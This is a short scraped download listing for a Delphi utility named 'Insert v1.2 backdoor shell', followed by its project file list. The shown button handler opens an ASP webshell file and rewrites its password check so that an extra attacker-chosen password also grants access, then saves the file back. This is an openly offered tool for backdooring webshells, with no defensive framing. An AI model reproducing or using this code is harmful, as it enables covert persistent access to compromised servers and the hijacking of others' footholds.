Description: Insert v1.2 backdoor shell source browser procedure TForm1.spSkinButton6Click (Sender: TObject) begin if opendialog1.execute then memo1.Lines.LoadFromFile (opendialog1.filename) memo1.Text: = stringreplace (memo1.Text, ' iF REquesT . foRM ( " pass" ) = uSERPASS Then ' ,' iF REquesT.foRM ( " pass" ) = uSERPASS or request.form ( " pass" ) = " '+ edit2.text+' " Then ' , [rfReplaceAll]) memo1.lines.savetofile (opendialog1.filename) end end. Key Office
To Search:
File list (Check if you may need any files):
Project1.dof
Project1.dpr
Project1.res
Unit1.dcu
Unit1.ddp
Unit1.dfm
Unit1.pas
Unit1.~ddp
Unit1.~dfm
Unit1.~pas